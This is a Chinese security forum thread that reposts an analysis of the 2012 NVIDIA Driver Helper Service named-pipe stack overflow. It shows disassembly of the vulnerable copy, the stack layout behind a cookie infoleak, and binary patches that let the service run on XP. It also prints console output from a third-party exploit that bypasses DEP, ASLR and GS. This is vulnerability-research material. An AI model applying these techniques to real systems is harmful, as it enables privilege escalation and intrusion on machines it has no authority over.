查看: 11715|回复: 3

【转】NVIDIA Driver Helper Service栈溢出简单说明

[复制链接]
发表于 2013-1-3 21:39:47 | 显示全部楼层 |阅读模式
最近传出NVIDIA显卡存在远程溢出漏洞,其实没有传说中那么严重,有很大的局限性。
1、限于win7系统
2、远程溢出需要系统账号才行
以下转自看雪
【转】NVIDIA Driver Helper Service栈溢出简单说明      
-------------------------------------------------------------------------------- -
详情见36x新闻,本来不想发出来的,不过看到36x的人又在放屁吓人.还是发出来吧.
首先这个洞和nvidia的驱动没有一毛钱关系,不是内核级的漏洞.
NVIDIA Driver Helper Service,是一个r3层的服务.
程序是nvvsvc.exe(win7)或nvvsvc32.exe(xp) -
这个程序启动后会创建一个命名管道\\pipe\nsvr,比较特别的是这个管道的dacl是空,也就是说everyone都可以访问.
然后重要的是这个洞其实只针对win7 x64版有效.在win7 x32版上只能够做到infoleak.
xp x32版下0x52命令不支持,同时老版本的xp版nvvsvc32.exe根本没建命名管道.所以也就没360x吹的那么凶,另外这个洞远程利用的情况下对于win7系统关闭了空连接共享所以必须要一个用户名密码(且密码不能为空).
下面来看洞:win7 32位版nvvsvc

  1. loc_4035D8:             ; 取后面数据的长度
  2. lea     eax, [ebp-4022h]
  3. push    ebx             ; ebx=2000h
  4. push    eax
  5. mov     [ebp+nNumberOfBytesToWrite], ecx ; ecx=3h
  6. call    sub_43132C      ; 返回时如果5200后面是4000h个41h,那么eax=2000h
  7. pop     ecxSecurity. B+ E% A% p& k8 j
  8. lea     eax, [ebp+eax*2+var_4020] ; eax=ebp+4000h-4020h=ebp-20h
  9. pop     ecxT00LS' ~) @7 ]3 u. h
  10. mov     ecx, [eax]      ; [ebp-20]=00000000h,ecx=0
  11. add     eax, 8          ; eax=lea [ebp-18h]
  12. mov     [ebp+nNumberOfBytesToWrite], ecx
  13. mov     ecx, [eax-4]    ; eax=lea [ebp-1ch],[eax]中的值为00004078h
  14. push    eax             ; eax为地址,地址中的值是收到的数据中4078h后面的41 41 ..
  15. mov     [ebp+dwType], eax
  16. lea     eax, [ebp+nNumberOfBytesToWrite]
  17. push    eax             ; [eax]的值为0
  18. lea     eax, [ebp-4022h]
  19. mov     [ebp+lpData], ecx ; ecx=00004078h
  20. push    eax             ; eax为地址,地址中的值为41 00 41 00....
  21. cmp     dword_491550, edi ; edi=0
  22. jle     short loc_403632

  23. 然后在下面触发
  24. loc_40363D:
  25. mov     esi, [ebp+lpData]
  26. add     esp, 0Ch
  27. push    esi             ; 4078h,copy的长度
  28. push    [ebp+dwType]    ; 地址中的值是收到的数据中4078h后面的41 41 ..
  29. lea     eax, [ebp+Buffer] ; 地址中的值会发送回攻击者
  30. push    eax
  31. call    loc_430720      ; bug!!!
  32. add     esp, 0Ch
  33. mov     [ebp+nNumberOfBytesToWrite], esi
  34. jmp     loc_403900

  35. 最后再来看内存布局:
  36. ebp-8044h response buffer ---目的
  37. ------------------------------recivebuf
  38. ebp-4024h 52 00
  39. ebp-4022h 41 41
  40. ......... 41 41
  41. ebp-0024h 41 41
  42. ebp-0022h 00 00
  43. ebp-0020h 00 00 00 00
  44. ebp-001ch 20 00 00 00
  45. ebp-0018h 41 41 41 41
  46. ebp-0014h 41 41 41 41
  47. ebp-0010h 41 41 41 41
  48. ebp-000ch 41 41 41 41
  49. ebp-0008h 41 41 41 41
  50. -----------------------------recivebuf
  51. ebp-0004h cookie
复制代码
漏洞原理:有漏洞的nvvsvc会读recivebuf,判断头两字节是否为52h,如果是跳过52 00后面
的字符串,然后读ebp-1c处的长度(没有任何效验),源为length的偏移往后ebp-18h,并把这些数据移到ebp-8044处的responsebuf,然后调用writefile把数据发给攻击者.如果length定义大点
就会读出ebp-4h处的stack cookie并发给攻击者.
由于32位版下局部变量的内存布局源地址在目的地址的高位,所以这个洞只能造成infoleak.
64位的情况刚好相反,所以能够利用,具体可以见老外的exp不多说.

注:
让win7 32位版的nvvsvc在xp 32位版上运行要改exe的四个地方
1www.t00ls.net4 p! r* J. O3 a6 |3 F7 s
改引入表的reggetvaluew为regclosekey,因为xp下没这个函数
程序入口getcommandlinea调用后改为
  1. jmp 00403988
  2. 3
  3. 8D 4D EC                lea     ecx, [ebp+ThreadId]
  4. 51                      push    ecx             ; lpThreadId
  5. 6A 04                   push    4               ; CREATE_SUSPENDED
  6. FF 75 F8                push    [ebp+hObject]   ; lpParameter
  7. 89 45 EC                mov     [ebp+ThreadId], eax
  8. 68 75 34 40 00          push    offset StartAddress ; lpStartAddress
  9. 50                      push    eax             ; dwStackSize
  10. 50                      push    eax             ; lpThreadAttributes
  11. FF 15 98 B0 46 00       call    ds:CreateThreadSecurity
  12. 89 45 F0                mov     [ebp+hThread], eax
  13. E8 F0 E8 FF FF          call    sub_402313      ; 这个call要注解掉
  14. loc_403632:
  15. lea     edi, [ebp+lpData]
  16. call    sub_4025D0      ; nop掉
复制代码
附件说明:
nvvsvc32.rar是把win7 32位版的nvvsvc改了下让其可以在xp和win下运行不管你是否有nvidia的显卡.
exp是改的老外的攻击程序,读32位版的cookie.(ps:老外还是很牛的)

  1. C:\Documents and Settings\mj0011\桌面\新建文件夹\ms0x-0xx\nvidia pipe>exp local ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
  2.                  [ () peterwintrsmith]
  3. - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
  4.         Action 1 of 9:  - CONNECT
  5.         Action 2 of 9:  - CLIENT => SERVER
  6.                 Written 16416 (0x4020) characters to pipe
  7.         Action 3 of 9:   - SERVER => CLIENT
  8.                 Read 32 (0x20) characters from pipe
  9.         Action 4 of 9: Building exploit ...
  10.                  => Stack cookie 0xb5b04abd:
  11.         Action 5 of 9:  - CLIENT => SERVER*
  12.                 Written 16416 (0x4020) characters to pipe
  13.         Action 6 of 9:   - SERVER => CLIENT
  14.                 Read 16384 (0x4000) characters from pipe
  15.         Action 7 of 9:  - CLIENT => SERVER
  16.                 Written 16416 (0x4020) characters to pipe
  17.         Action 8 of 9:   - SERVER => CLIENT1 `/
  18. !! Error reading from pipe (at least, no data on pipe)
复制代码
回复

使用道具 举报

发表于 2013-1-4 07:48:04 | 显示全部楼层
这个洞有点深  看不太懂
回复 支持 反对

使用道具 举报

头像被屏蔽
发表于 2013-1-7 07:59:48 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复 支持 反对

使用道具 举报

发表于 2015-12-8 11:15:20 | 显示全部楼层
看不懂,但我还是要回帖
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-6-17 11:08 , Processed in 0.196860 second(s), 29 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部